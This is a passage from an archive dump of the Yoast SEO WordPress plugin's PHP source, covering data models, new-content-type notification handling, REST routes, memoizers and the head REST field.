			$this->indexable = $this->belongs_to( 'Indexable', 'indexable_id', 'id' )->find_one();
		}

		return $this->indexable;
	}
}
wordpress-seo/src/models/primary-term.php000064400000001234147510273100014573 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Primary Term model definition.
 *
 * @property int    $id       Identifier.
 * @property int    $post_id  Post ID.
 * @property int    $term_id  Term ID.
 * @property string $taxonomy Taxonomy.
 * @property int    $blog_id  Blog ID.
 *
 * @property string $created_at
 * @property string $updated_at
 */
class Primary_Term extends Model {

	/**
	 * Whether nor this model uses timestamps.
	 *
	 * @var bool
	 */
	protected $uses_timestamps = true;

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [
		'id',
		'post_id',
		'term_id',
		'blog_id',
	];
}
src/content-type-visibility/application/content-type-visibility-dismiss-notifications.php000064400000010522147510273100031060 0ustar00wordpress-seo<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\Application;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast_Notification_Center;

/**
 * Handles dismissing notifications and "New" badges for new content types.
 */
class Content_Type_Visibility_Dismiss_Notifications {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Constructs Content_Type_Visibility_Dismiss_New_Route.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Removes New badge from a post type in the Settings, remove notifications if needed.
	 *
	 * @param string $post_type_name The post type name from the request.
	 * @return array The response.
	 */
	public function post_type_dismiss( $post_type_name ) {
		$success                 = true;
		$message                 = \__( 'Post type is not new.', 'wordpress-seo' );
		$post_types_needs_review = $this->options->get( 'new_post_types', [] );

		if ( $post_types_needs_review && \in_array( $post_type_name, $post_types_needs_review, true ) ) {
			$new_needs_review = \array_diff( $post_types_needs_review, [ $post_type_name ] );
			$success          = $this->options->set( 'new_post_types', $new_needs_review );
			$message          = ( $success ) ? \__( 'Post type is no longer new.', 'wordpress-seo' ) : \__( 'Error: Post type was not removed from new_post_types list.', 'wordpress-seo' );
			if ( $success ) {
				$this->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
			}
		}

		$status = ( $success ) ? 200 : 400;

		return [
			'message' => $message,
			'success' => $success,
			'status'  => $status,
		];
	}

	/**
	 * Removes New badge from a taxonomy in the Settings, remove notifications if needed.
	 *
	 * @param string $taxonomy_name The taxonomy name from the request.
	 * @return array The response.
	 */
	public function taxonomy_dismiss( $taxonomy_name ) {
		$success                 = true;
		$message                 = \__( 'Taxonomy is not new.', 'wordpress-seo' );
		$taxonomies_needs_review = $this->options->get( 'new_taxonomies', [] );

		if ( \in_array( $taxonomy_name, $taxonomies_needs_review, true ) ) {

			$new_needs_review = \array_diff( $taxonomies_needs_review, [ $taxonomy_name ] );
			$success          = $this->options->set( 'new_taxonomies', $new_needs_review );
			$message          = ( $success ) ? \__( 'Taxonomy is no longer new.', 'wordpress-seo' ) : \__( 'Error: Taxonomy was not removed from new_taxonomies list.', 'wordpress-seo' );
			if ( $success ) {
				$this->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
			}
		}

		$status = ( $success ) ? 200 : 400;

		return [
			'message' => $message,
			'success' => $success,
			'status'  => $status,
		];
	}

	/**
	 * Checks if there are new content types or taxonomies.
	 *
	 * @param array $new_content_types The new content types.
	 * @return void
	 */
	public function maybe_dismiss_notifications( $new_content_types = [] ) {

		$post_types_needs_review = ( \array_key_exists( 'new_post_types', $new_content_types ) ) ? $new_content_types['new_post_types'] : $this->options->get( 'new_post_types', [] );
		$taxonomies_needs_review = ( \array_key_exists( 'new_taxonomies', $new_content_types ) ) ? $new_content_types['new_taxonomies'] : $this->options->get( 'new_taxonomies', [] );

		if ( $post_types_needs_review || $taxonomies_needs_review ) {
			return;
		}
		$this->dismiss_notifications();
	}

	/**
	 * Dismisses the notification in the notification center when there are no more new content types.
	 *
	 * @return bool
	 */
	public function dismiss_notifications() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'content-types-made-public' );
		return $this->options->set( 'show_new_content_type_notification', false );
	}

	/**
	 * Check if there is a new content type to show notification only once in the settings.
	 *
	 * @return bool Should the notification be shown.
	 */
	public function maybe_add_settings_notification() {
		$show_new_content_type_notification = $this->options->get( 'show_new_content_type_notification', false );
		if ( $show_new_content_type_notification ) {
			$this->options->set( 'show_new_content_type_notification', false );
		}
		return $show_new_content_type_notification;
	}
}
wordpress-seo/src/content-type-visibility/application/content-type-visibility-watcher-actions.php000064400000013752147510273100027720 0ustar00<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\Application;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Handles showing notifications for new content types.
 * Actions are used in the indexable taxonomy and post type change watchers.
 */
class Content_Type_Visibility_Watcher_Actions implements Integration_Interface {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * The notifications center.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	private $content_type_dismiss_notifications;

	/**
	 * Indexable_Post_Type_Change_Watcher constructor.
	 *
	 * @param Options_Helper                                $options                            The options helper.
	 * @param Yoast_Notification_Center                     $notification_center                The notification center.
	 * @param Content_Type_Visibility_Dismiss_Notifications $content_type_dismiss_notifications The content type dismiss notifications.
	 */
	public function __construct(
		Options_Helper $options,
		Yoast_Notification_Center $notification_center,
		Content_Type_Visibility_Dismiss_Notifications $content_type_dismiss_notifications
	) {
		$this->options                            = $options;
		$this->notification_center                = $notification_center;
		$this->content_type_dismiss_notifications = $content_type_dismiss_notifications;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * Register actions that are used in the post types and taxonomies indexable watcher.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Used in Idexable_Post_Type_Change_Watcher class.
		\add_action( 'new_public_post_type_notifications', [ $this, 'new_post_type' ], 10, 1 );
		\add_action( 'clean_new_public_post_type_notifications', [ $this, 'clean_new_public_post_type' ], 10, 1 );

		// Used in Idexable_Taxonomy_Change_Watcher class.
		\add_action( 'new_public_taxonomy_notifications', [ $this, 'new_taxonomy' ], 10, 1 );
		\add_action( 'clean_new_public_taxonomy_notifications', [ $this, 'clean_new_public_taxonomy' ], 10, 1 );
	}

	/**
	 * Update db and tigger notification when a new post type is registered.
	 *
	 * @param array $newly_made_public_post_types The newly made public post types.
	 * @return void
	 */
	public function new_post_type( $newly_made_public_post_types ) {
		$this->options->set( 'new_post_types', $newly_made_public_post_types );
		$this->options->set( 'show_new_content_type_notification', true );
		$this->maybe_add_notification();
	}

	/**
	 * Update db when a post type is made removed.
	 *
	 * @param array $newly_made_non_public_post_types The newly made non public post types.
	 * @return void
	 */
	public function clean_new_public_post_type( $newly_made_non_public_post_types ) {
		// See if post types that needs review were removed and update option.
		$needs_review     = $this->options->get( 'new_post_types', [] );
		$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_post_types );
		if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
			$this->options->set( 'new_post_types', $new_needs_review );
			$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
		}
	}

	/**
	 * Update db and tigger notification when a new taxonomy is registered.
	 *
	 * @param array $newly_made_public_taxonomies The newly made public post types.
	 * @return void
	 */
	public function new_taxonomy( $newly_made_public_taxonomies ) {
		$this->options->set( 'new_taxonomies', $newly_made_public_taxonomies );
		$this->options->set( 'show_new_content_type_notification', true );
		$this->maybe_add_notification();
	}

	/**
	 * Update db when a post type is made removed.
	 *
	 * @param array $newly_made_non_public_taxonomies The newly made non public post types.
	 * @return void
	 */
	public function clean_new_public_taxonomy( $newly_made_non_public_taxonomies ) {
		// See if post types that needs review were removed and update option.
		$needs_review     = $this->options->get( 'new_taxonomies', [] );
		$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_taxonomies );
		if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
			$this->options->set( 'new_taxonomies', $new_needs_review );
			$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
		}
	}

	/**
	 * Decides if a notification should be added in the notification center.
	 *
	 * @return void
	 */
	public function maybe_add_notification() {
		$notification = $this->notification_center->get_notification_by_id( 'content-types-made-public' );
		if ( \is_null( $notification ) ) {
			$this->add_notification();
		}
	}

	/**
	 * Adds a notification to be shown on the next page request since posts are updated in an ajax request.
	 *
	 * @return void
	 */
	private function add_notification() {
		$message = \sprintf(
			/* translators: 1: Opening tag of the link to the Search appearance settings page, 2: Link closing tag. */
			\esc_html__( 'You\'ve added a new type of content. We recommend that you review the corresponding %1$sSearch appearance settings%2$s.', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'admin.php?page=wpseo_page_settings' ) ) . '">',
			'</a>'
		);

		$notification = new Yoast_Notification(
			$message,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => 'content-types-made-public',
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);

		$this->notification_center->add_notification( $notification );
	}
}
src/content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php000064400000010412147510273100030543 0ustar00wordpress-seo<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\User_Interface;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Handles the dismiss route for "New" badges of new content types in settings menu.
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Content_Type_Visibility_Dismiss_New_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the alerts route prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'new-content-type-visibility';

	/**
	 * Represents post type dismiss route.
	 *
	 * @var string
	 */
	public const POST_TYPE_DISMISS_ROUTE = self::ROUTE_PREFIX . '/dismiss-post-type';

	/**
	 * Represents taxonomy dismiss route.
	 *
	 * @var string
	 */
	public const TAXONOMY_DISMISS_ROUTE = self::ROUTE_PREFIX . '/dismiss-taxonomy';

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	private $dismiss_notifications;

	/**
	 * Constructs Content_Type_Visibility_Dismiss_New_Route.
	 *
	 * @param Content_Type_Visibility_Dismiss_Notifications $dismiss_notifications The options helper.
	 */
	public function __construct( Content_Type_Visibility_Dismiss_Notifications $dismiss_notifications ) {
		$this->dismiss_notifications = $dismiss_notifications;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$post_type_dismiss_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'post_type_dismiss_callback' ],
			'permission_callback' => [ $this, 'can_dismiss' ],
			'args'                => [
				'postTypeName' => [
					'validate_callback' => [ $this, 'validate_post_type' ],
				],
			],
		];

		$taxonomy_dismiss_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'taxonomy_dismiss_callback' ],
			'permission_callback' => [ $this, 'can_dismiss' ],
			'args'                => [
				'taxonomyName' => [
					'validate_callback' => [ $this, 'validate_taxonomy' ],
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_DISMISS_ROUTE, $post_type_dismiss_route_args );
		\register_rest_route( Main::API_V1_NAMESPACE, self::TAXONOMY_DISMISS_ROUTE, $taxonomy_dismiss_route_args );
	}

	/**
	 * Whether or not the current user is allowed to dismiss alerts.
	 *
	 * @return bool Whether or not the current user is allowed to dismiss alerts.
	 */
	public function can_dismiss() {
		return \current_user_can( 'edit_posts' );
	}

	/**
	 * Validates post type.
	 *
	 * @param string          $param   The parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $key     The key.
	 *
	 * @return bool
	 */
	public function validate_post_type( $param, $request, $key ) {
		return \post_type_exists( $param );
	}

	/**
	 * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::post_type_dismiss().
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function post_type_dismiss_callback( $request ) {
		$response = $this->dismiss_notifications->post_type_dismiss( $request['post_type_name'] );

		return new WP_REST_Response(
			(object) $response,
			$response['status']
		);
	}

	/**
	 * Validates taxonomy.
	 *
	 * @param string          $param   The parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $key     The key.
	 *
	 * @return bool
	 */
	public function validate_taxonomy( $param, $request, $key ) {
		return \taxonomy_exists( $param );
	}

	/**
	 * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::taxonomy_dismiss().
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function taxonomy_dismiss_callback( WP_REST_Request $request ) {
		$response = $this->dismiss_notifications->taxonomy_dismiss( $request['taxonomy_name'] );

		return new WP_REST_Response(
			(object) $response,
			$response['status']
		);
	}
}
wordpress-seo/src/memoizers/meta-tags-context-memoizer.php000064400000012063147510273100020065 0ustar00<?php

namespace Yoast\WP\SEO\Memoizers;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Blocks_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * The meta tags context memoizer.
 */
class Meta_Tags_Context_Memoizer {

	/**
	 * The blocks helper.
	 *
	 * @var Blocks_Helper
	 */
	protected $blocks;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	protected $context_prototype;

	/**
	 * The presentation memoizer.
	 *
	 * @var Presentation_Memoizer
	 */
	protected $presentation_memoizer;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context[]
	 */
	protected $cache = [];

	/**
	 * Meta_Tags_Context_Memoizer constructor.
	 *
	 * @param Blocks_Helper         $blocks                The blocks helper.
	 * @param Current_Page_Helper   $current_page          The current page helper.
	 * @param Indexable_Repository  $repository            Indexable repository.
	 * @param Meta_Tags_Context     $context_prototype     The meta tags context prototype.
	 * @param Presentation_Memoizer $presentation_memoizer Memoizer for the presentation.
	 */
	public function __construct(
		Blocks_Helper $blocks,
		Current_Page_Helper $current_page,
		Indexable_Repository $repository,
		Meta_Tags_Context $context_prototype,
		Presentation_Memoizer $presentation_memoizer
	) {
		$this->blocks                = $blocks;
		$this->current_page          = $current_page;
		$this->repository            = $repository;
		$this->context_prototype     = $context_prototype;
		$this->presentation_memoizer = $presentation_memoizer;
	}

	/**
	 * Gets the meta tags context for the current page.
	 * This function is memoized so every call will return the same result.
	 *
	 * @return Meta_Tags_Context The meta tags context.
	 */
	public function for_current_page() {
		if ( ! isset( $this->cache['current_page'] ) ) {
			// First reset the query to ensure we actually have the current page.
			global $wp_query, $post;

			$old_wp_query = $wp_query;
			$old_post     = $post;
			// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
			\wp_reset_query();

			$indexable = $this->repository->for_current_page();
			$page_type = $this->current_page->get_page_type();

			if ( $page_type === 'Fallback' ) {
				// Do not cache the context if it's a fallback page.
				// The likely cause for this is that this function was called before the query was loaded.
				$context = $this->get( $indexable, $page_type );

				// Restore the previous query.
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
				$GLOBALS['wp_query'] = $old_wp_query;
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
				$GLOBALS['post'] = $old_post;

				return $context;
			}
			$this->cache['current_page'] = $this->get( $indexable, $page_type );

			// Restore the previous query.
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
			$GLOBALS['wp_query'] = $old_wp_query;
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
			$GLOBALS['post'] = $old_post;
		}

		return $this->cache['current_page'];
	}

	/**
	 * Gets the meta tags context given an indexable.
	 * This function is memoized by the indexable so every call with the same indexable will yield the same result.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string    $page_type The page type.
	 *
	 * @return Meta_Tags_Context The meta tags context.
	 */
	public function get( Indexable $indexable, $page_type ) {
		if ( ! isset( $this->cache[ $indexable->id ] ) ) {
			$blocks = [];
			$post   = null;
			if ( $indexable->object_type === 'post' ) {
				$post   = \get_post( $indexable->object_id );
				$blocks = $this->blocks->get_all_blocks_from_content( $post->post_content );
			}

			$context = $this->context_prototype->of(
				[
					'indexable' => $indexable,
					'blocks'    => $blocks,
					'post'      => $post,
					'page_type' => $page_type,
				]
			);

			$context->presentation = $this->presentation_memoizer->get( $indexable, $context, $page_type );

			$this->cache[ $indexable->id ] = $context;
		}

		return $this->cache[ $indexable->id ];
	}

	/**
	 * Clears the memoization of either a specific indexable or all indexables.
	 *
	 * @param Indexable|int|string|null $indexable Optional. The indexable or indexable id to clear the memoization of.
	 *
	 * @return void
	 */
	public function clear( $indexable = null ) {
		if ( $indexable instanceof Indexable ) {
			unset( $this->cache[ $indexable->id ] );
			return;
		}
		if ( $indexable !== null ) {
			unset( $this->cache[ $indexable ] );
			return;
		}
		$this->cache = [];
	}
}
wordpress-seo/src/memoizers/presentation-memoizer.php000064400000004542147510273100017237 0ustar00<?php

namespace Yoast\WP\SEO\Memoizers;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * The presentation memoizer.
 */
class Presentation_Memoizer {

	/**
	 * The service container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * Cache with indexable presentations.
	 *
	 * @var Indexable_Presentation[]
	 */
	protected $cache = [];

	/**
	 * Presentation_Memoizer constructor.
	 *
	 * @param ContainerInterface $service_container The service container.
	 */
	public function __construct( ContainerInterface $service_container ) {
		$this->container = $service_container;
	}

	/**
	 * Gets the presentation of an indexable for a specific page type.
	 * This function is memoized by the indexable so every call with the same indexable will yield the same result.
	 *
	 * @param Indexable         $indexable The indexable to get a presentation of.
	 * @param Meta_Tags_Context $context   The current meta tags context.
	 * @param string            $page_type The page type.
	 *
	 * @return Indexable_Presentation The indexable presentation.
	 */
	public function get( Indexable $indexable, Meta_Tags_Context $context, $page_type ) {
		if ( ! isset( $this->cache[ $indexable->id ] ) ) {
			$presentation = $this->container->get( "Yoast\WP\SEO\Presentations\Indexable_{$page_type}_Presentation", ContainerInterface::NULL_ON_INVALID_REFERENCE );

			if ( ! $presentation ) {
				$presentation = $this->container->get( Indexable_Presentation::class );
			}

			$context->presentation = $presentation->of(
				[
					'model'   => $indexable,
					'context' => $context,
				]
			);

			$this->cache[ $indexable->id ] = $context->presentation;
		}

		return $this->cache[ $indexable->id ];
	}

	/**
	 * Clears the memoization of either a specific indexable or all indexables.
	 *
	 * @param Indexable|int|null $indexable Optional. The indexable or indexable id to clear the memoization of.
	 *
	 * @return void
	 */
	public function clear( $indexable = null ) {
		if ( $indexable instanceof Indexable ) {
			unset( $this->cache[ $indexable->id ] );
			return;
		}
		if ( \is_int( $indexable ) ) {
			unset( $this->cache[ $indexable ] );
			return;
		}
		if ( $indexable === null ) {
			$this->cache = [];
		}
	}
}
wordpress-seo/src/routes/yoast-head-rest-field.php000064400000013456147510273100016304 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast head fields.

namespace Yoast\WP\SEO\Routes;

use Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action;
use Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;

/**
 * Yoast_Head_REST_Field class.
 *
 * Registers the yoast head REST field.
 * Not technically a route but behaves the same so is included here.
 */
class Yoast_Head_REST_Field implements Route_Interface {

	/**
	 * The name of the Yoast head field.
	 *
	 * @var string
	 */
	public const YOAST_HEAD_ATTRIBUTE_NAME = 'yoast_head';

	/**
	 * The name of the Yoast head JSON field.
	 *
	 * @var string
	 */
	public const YOAST_JSON_HEAD_ATTRIBUTE_NAME = 'yoast_head_json';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The taxonomy helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The post helper.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The head action.
	 *
	 * @var Indexable_Head_Action
	 */
	protected $head_action;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Headless_Rest_Endpoints_Enabled_Conditional::class ];
	}

	/**
	 * Yoast_Head_REST_Field constructor.
	 *
	 * @param Post_Type_Helper      $post_type_helper The post type helper.
	 * @param Taxonomy_Helper       $taxonomy_helper  The taxonomy helper.
	 * @param Post_Helper           $post_helper      The post helper.
	 * @param Indexable_Head_Action $head_action      The head action.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper,
		Taxonomy_Helper $taxonomy_helper,
		Post_Helper $post_helper,
		Indexable_Head_Action $head_action
	) {
		$this->post_type_helper = $post_type_helper;
		$this->taxonomy_helper  = $taxonomy_helper;
		$this->post_helper      = $post_helper;
		$this->head_action      = $head_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$public_post_types = $this->post_type_helper->get_indexable_post_types();

		foreach ( $public_post_types as $post_type ) {
			$this->register_rest_fields( $post_type, 'for_post' );
		}

		$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();

		foreach ( $public_taxonomies as $taxonomy ) {
			if ( $taxonomy === 'post_tag' ) {
				$taxonomy = 'tag';
			}
			$this->register_rest_fields( $taxonomy, 'for_term' );
		}

		$this->register_rest_fields( 'user', 'for_author' );
		$this->register_rest_fields( 'type', 'for_post_type_archive' );
	}

	/**
	 * Returns the head for a post.
	 *
	 * @param array  $params The rest request params.
	 * @param string $format The desired output format.
	 *
	 * @return string|null The head.
	 */
	public function for_post( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
		if ( ! isset( $params['id'] ) ) {
			return null;
		}

		if ( ! $this->post_helper->is_post_indexable( $params['id'] ) ) {
			return null;
		}
		$obj = $this->head_action->for_post( $params['id'] );

		return $this->render_object( $obj, $format );
	}

	/**
	 * Returns the head for a term.
	 *
	 * @param array  $params The rest request params.
	 * @param string $format The desired output format.
	 *
	 * @return string|null The head.
	 */
	public function for_term( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
		$obj = $this->head_action->for_term( $params['id'] );

		return $this->render_object( $obj, $format );
	}

	/**
	 * Returns the head for an author.
	 *
	 * @param array  $params The rest request params.
	 * @param string $format The desired output format.
	 *
	 * @return string|null The head.
	 */
	public function for_author( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
		$obj = $this->head_action->for_author( $params['id'] );

		return $this->render_object( $obj, $format );
	}

	/**
	 * Returns the head for a post type archive.
	 *
	 * @param array  $params The rest request params.
	 * @param string $format The desired output format.
	 *
	 * @return string|null The head.
	 */
	public function for_post_type_archive( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
		if ( $params['slug'] === 'post' ) {
			$obj = $this->head_action->for_posts_page();
		}
		elseif ( ! $this->post_type_helper->has_archive( $params['slug'] ) ) {
			return null;
		}
		else {
			$obj = $this->head_action->for_post_type_archive( $params['slug'] );
		}

		return $this->render_object( $obj, $format );
	}

	/**
	 * Registers the Yoast rest fields.
	 *
	 * @param string $object_type The object type.
	 * @param string $callback    The function name of the callback.
	 *
	 * @return void
	 */
	protected function register_rest_fields( $object_type, $callback ) {
		// Output metadata in page head meta tags.
		\register_rest_field( $object_type, self::YOAST_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] );
		// Output metadata in a json object in a head meta tag.
		\register_rest_field( $object_type, self::YOAST_JSON_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] );
	}

	/**
	 * Returns the correct property for the Yoast head.
	 *
	 * @param stdObject $head   The Yoast head.
	 * @param string    $format The format to return.
	 *
	 * @return string|array|null The output value. String if HTML was requested, array otherwise.
	 */
	protected function render_object( $head, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
		if ( $head->status === 404 ) {
			return null;
		}

		switch ( $format ) {
			case self::YOAST_HEAD_ATTRIBUTE_NAME:
				return $head->html;
			case self::YOAST_JSON_HEAD_ATTRIBUTE_NAME:
				return $head->json;
		}

		return null;
	}
}
wordpress-seo/src/routes/semrush-route.php000064400000014407147510273100015031 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action;
use Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action;
use Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action;
use Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional;
use Yoast\WP\SEO\Main;

/**
 * SEMrush_Route class.
 */
class SEMrush_Route implements Route_Interface {

	/**
	 * The SEMrush route prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'semrush';

	/**
	 * The authenticate route constant.
	 *
	 * @var string
	 */
	public const AUTHENTICATION_ROUTE = self::ROUTE_PREFIX . '/authenticate';

	/**
	 * The country code option route constant.
	 *
	 * @var string
	 */
	public const COUNTRY_CODE_OPTION_ROUTE = self::ROUTE_PREFIX . '/country_code';

	/**
	 * The request related keyphrases route constant.
	 *
	 * @var string
	 */
	public const RELATED_KEYPHRASES_ROUTE = self::ROUTE_PREFIX . '/related_keyphrases';

	/**
	 * The full login route constant.
	 *
	 * @var string
	 */
	public const FULL_AUTHENTICATION_ROUTE = Main::API_V1_NAMESPACE . '/' . self::AUTHENTICATION_ROUTE;

	/**
	 * The full country code option route constant.
	 *
	 * @var string
	 */
	public const FULL_COUNTRY_CODE_OPTION_ROUTE = Main::API_V1_NAMESPACE . '/' . self::COUNTRY_CODE_OPTION_ROUTE;

	/**
	 * The login action.
	 *
	 * @var SEMrush_Login_Action
	 */
	private $login_action;

	/**
	 * The options action.
	 *
	 * @var SEMrush_Options_Action
	 */
	private $options_action;

	/**
	 * The phrases action.
	 *
	 * @var SEMrush_Phrases_Action
	 */
	private $phrases_action;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ SEMrush_Enabled_Conditional::class ];
	}

	/**
	 * SEMrush_Route constructor.
	 *
	 * @param SEMrush_Login_Action   $login_action   The login action.
	 * @param SEMrush_Options_Action $options_action The options action.
	 * @param SEMrush_Phrases_Action $phrases_action The phrases action.
	 */
	public function __construct(
		SEMrush_Login_Action $login_action,
		SEMrush_Options_Action $options_action,
		SEMrush_Phrases_Action $phrases_action
	) {
		$this->login_action   = $login_action;
		$this->options_action = $options_action;
		$this->phrases_action = $phrases_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$authentication_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'authenticate' ],
			'permission_callback' => [ $this, 'can_use_semrush' ],
			'args'                => [
				'code' => [
					'validate_callback' => [ $this, 'has_valid_code' ],
					'required'          => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args );

		$set_country_code_option_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_country_code_option' ],
			'permission_callback' => [ $this, 'can_use_semrush' ],
			'args'                => [
				'country_code' => [
					'validate_callback' => [ $this, 'has_valid_country_code' ],
					'required'          => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::COUNTRY_CODE_OPTION_ROUTE, $set_country_code_option_route_args );

		$related_keyphrases_route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_related_keyphrases' ],
			'permission_callback' => [ $this, 'can_use_semrush' ],
			'args'                => [
				'keyphrase' => [
					'validate_callback' => [ $this, 'has_valid_keyphrase' ],
					'required'          => true,
				],
				'country_code' => [
					'required' => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::RELATED_KEYPHRASES_ROUTE, $related_keyphrases_route_args );
	}

	/**
	 * Authenticates with SEMrush.
	 *
	 * @param WP_REST_Request $request The request. This request should have a code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function authenticate( WP_REST_Request $request ) {
		$data = $this
